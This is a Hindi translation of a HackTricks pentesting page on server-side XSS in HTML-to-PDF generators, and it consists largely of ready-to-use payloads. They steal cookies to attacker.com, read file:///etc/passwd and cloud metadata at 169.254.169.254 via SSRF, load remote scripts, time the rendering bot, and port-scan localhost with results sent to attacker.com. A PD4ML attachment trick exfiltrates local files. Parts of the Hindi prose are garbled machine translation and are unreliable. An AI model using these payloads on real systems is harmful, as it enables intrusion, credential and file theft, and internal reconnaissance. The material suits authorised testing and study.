Server Side XSS (Dynamic PDF)

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

सर्वर साइड XSS (डायनामिक पीडीएफ)

यदि एक वेब पृष्ठ उपयोगकर्ता नियंत्रित इनपुट का उपयोग करके एक पीडीएफ बना रहा है, तो आप बोट को धोखा देने की कोशिश कर सकते हैं जो पीडीएफ बना रहा है और विविध JS कोड को निष्पादित करने के लिए। तो, अगर पीडीएफ निर्माता बोट को किसी प्रकार के HTML टैग मिलते हैं, तो वह उन्हें व्याख्या करेगा, और आप इस व्यवहार का दुरुपयोग करके एक सर्वर XSS का कारण बना सकते हैं।

कृपया ध्यान दें कि <script></script> टैग हमेशा काम नहीं करते, इसलिए आपको JS को निष्पादित करने के लिए एक विभिन्न विधि की आवश्यकता होगी (उदाहरण के लिए, <img का दुरुपयोग करना)। इसके अलावा, ध्यान दें कि एक सामान्य शोषण में आप निर्मित पीडीएफ को देखने/डाउनलोड करने में सक्षम होंगे, इसलिए आप जो कुछ भी आप JS के माध्यम से लिखते हैं उसे देख सकेंगे (उदाहरण के लिए document.write() का उपयोग करके)। लेकिन, यदि आप निर्मित पीडीएफ नहीं देख सकते हैं, तो आपको संभावतः आपको वेब अनुरोध करके जानकारी निकालने की आवश्यकता होगी (अंधा).

लोकप्रिय पीडीएफ उत्पादन

  • wkhtmltopdf को उसकी क्षमता के लिए जाना जाता है कि वह HTML और CSS को पीडीएफ दस्तावेज़ में रूपांतरित करने में सक्षम है, वेबकिट रेंडरिंग इंजन का उपयोग करते हुए। यह उपकरण एक ओपन-सोर्स कमांड लाइन यूटिलिटी के रूप में उपलब्ध है, जिससे इसे विभिन्न अनुप्रयोगों के लिए पहुंचने में सहायक है।

  • TCPDF PHP पारिस्थितिकी में पीडीएफ उत्पादन के लिए एक मजबूत समाधान प्रदान करता है। यह छवियों, ग्राफिक्स, और एन्क्रिप्शन को संभालने की क्षमता रखता है, जिससे यह जटिल दस्तावेज़ बनाने के लिए अपनी बहुमुखीता का प्रदर्शन करता है।

  • उन लोगों के लिए जो नोड.जेएस वातावरण में काम कर रहे हैं, PDFKit एक व्यावहारिक विकल्प प्रस्तुत करता है। यह HTML और CSS से सीधे पीडीएफ दस्तावेज़ उत्पन्न करने की क्षमता प्रदान करता है, वेब सामग्री और प्रिंटेबल प्रारूपों के बीच एक सेतु प्रदान करता है।

  • जावा डेवलपर्स को iText पसंद हो सकता है, एक पुस्तकालय जो केवल पीडीएफ निर्माण को सुविधा प्रदान करती है बल्कि डिजिटल हस्ताक्षर और फॉर्म भरने जैसी उन्नत सुविधाओं का समर्थन भी करती है। इसकी व्यापक सुविधा सेट इसे सुरक्षित और इंटरैक्टिव दस्तावेज़ उत्पन्न करने के लिए उपयुक्त बनाती है।

  • FPDF एक और PHP पुस्तकालय है, जिसे इसकी सरलता और उपयोग की सुविधा से पहचाना जाता है। यह उन डेवलपर्स के लिए डिजाइन किया गया है जो व्यापक सुविधाओं की आवश्यकता न होने पर भी पीडीएफ उत्पादन के लिए एक सीधा दृष्टिकोण खोज रहे हैं।

पेलोड

खोज

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

इस SVG पेलोड के अंदर पिछले किसी भी या निम्नलिखित पेलोड का उपयोग किया जा सकता है। एक iframe जो Burpcollab सबडोमेन तक पहुंच रहा है और एक और जो मेटाडेटा एंडपॉइंट तक पहुंच रहा है, उदाहरण के रूप में डाले गए हैं।

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

आप https://github.com/allanlw/svg-cheatsheet में बहुत सारे अन्य SVG payloads पा सकते हैं।

पथ भेद्यता

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

एक बाहरी स्क्रिप्ट लोड करें

इस वंशानुक्रमिकता को शारीरिक करने का सबसे उपयुक्त तरीका यह है कि इस दोष का दुरुपयोग करके बॉट को स्थानीय रूप से आपके नियंत्रण में एक स्क्रिप्ट लोड करने के लिए दुरुपयोग करें। फिर, आप स्थानीय रूप से पेलोड को बदल सकेंगे और बॉट को हर बार उसी कोड के साथ इसे लोड करने के लिए बना सकेंगे।

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

स्थानीय फ़ाइल पढ़ें / SSRF

file:///etc/passwd को http://169.254.169.254/latest/user-data जैसे बदलें ताकि एक बाहरी वेब पृष्ठ तक पहुँचने का प्रयास करें (SSRF)

यदि SSRF की अनुमति है, लेकिन आप किसी दिलचस्प डोमेन या आईपी तक पहुँच नहीं सकते, पोटेंशियल बाइपास के लिए इस पृष्ठ की जाँच करें

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

बॉट विलंब

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

पोर्ट स्कैन

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

यह वंरणशीलता बहुत आसानी से एक SSRF में रूपांतरित की जा सकती है (जैसे कि आप स्क्रिप्ट को बाहरी संसाधन लोड करने के लिए कर सकते हैं)। तो बस इसे उत्पीड़ित करने की कोशिश करें (कुछ मेटाडेटा पढ़ें?)।

अटैचमेंट: PD4ML

कुछ HTML 2 PDF इंजन हैं जो PDF के लिए अटैचमेंट को निर्दिष्ट करने की अनुमति देते हैं, जैसे PD4ML। आप इस सुविधा का दुरुपयोग करके PDF में किसी भी स्थानीय फ़ाइल को अटैच कर सकते हैं। अटैचमेंट खोलने के लिए मैंने फ़ाइल को Firefox के साथ खोला और पेपरक्लिप प्रतीक पर डबल क्लिक किया ताकि अटैचमेंट को एक नई फ़ाइल के रूप में स्टोर कर सकूं। बर्प के साथ PDF प्रतिक्रिया को कैप्चर करने पर भी PDF में स्पष्ट पाठ में अटैचमेंट दिखाई देनी चाहिए

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated